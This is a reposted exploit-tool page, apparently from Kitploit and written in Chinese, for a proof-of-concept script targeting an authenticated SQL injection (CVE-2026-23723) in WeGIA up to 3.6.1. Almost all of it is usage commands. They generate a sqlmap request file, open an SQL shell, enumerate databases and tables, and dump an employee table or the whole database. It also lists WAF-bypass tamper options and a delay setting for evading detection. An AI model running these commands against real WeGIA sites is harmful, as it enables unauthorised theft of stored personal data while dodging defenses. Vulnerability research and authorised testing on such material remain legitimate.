CVE-2026-23723-POC — 这是一个轻量级 Python 辅助脚本，旨在自动生成与 sqlmap 兼容的 PoC 文件，用于 WeGIA（≤ 3.6.1）中经身份验证的基于错误的 SQL 注入漏洞，该漏洞编号为 GHSA-xfmp-2hf9-gfjp。 | Kitploit

CVE-2026-23723-POC — 这是一个轻量级 Python 辅助脚本，旨在自动生成与 sqlmap 兼容的 PoC 文件，用于 WeGIA（≤ 3.6.1）中经身份验证的基于错误的 SQL 注入漏洞，该漏洞编号为 GHSA-xfmp-2hf9-gfjp。 | Kitploit

# 推荐：交互式密码提示
python CVE-2026-23723.py --url http://target.com -u admin

# 直接提供密码
python CVE-2026-23723.py --url http://target.com -u admin -p wegia

# 自定义输出文件
python CVE-2026-23723.py --url http://target.com -u admin -p wegia --output custom.req

# 1. 交互式 MySQL 风格 Shell（最推荐）
sqlmap -r wegia_sqlmap.req --sql-shell --batch --dbms=mariadb

# 2. 显示当前数据库及所有数据库
sqlmap -r wegia_sqlmap.req --current-db --dbs --batch

# 3. 列出 wegia 数据库中的表
sqlmap -r wegia_sqlmap.req -D wegia --tables --batch

# 4. 导出特定表（示例：funcionario）
sqlmap -r wegia_sqlmap.req -D wegia -T funcionario --dump --threads=2 --batch

# 5. 导出整个 wegia 数据库（请谨慎操作！）
sqlmap -r wegia_sqlmap.req -D wegia --dump-all --threads=3 --batch --output-dir=./dump
可选的 sqlmap 参数：

--proxy=http://127.0.0.1:8080（通过 Burp/ZAP 代理）
--tamper=space2comment,randomcase（基础 WAF 绕过）
--delay=1（降低速度以避免被检测）

sqlmap -u "http://target.com/controle/control.php?nomeClasse=Atendido_ocorrenciaControle&metodo=listarTodosComAnexo&id_memorando=*" \
  --cookie="PHPSESSID=xxxxxxxx; other_cookie=yyy" \
  --sql-shell --batch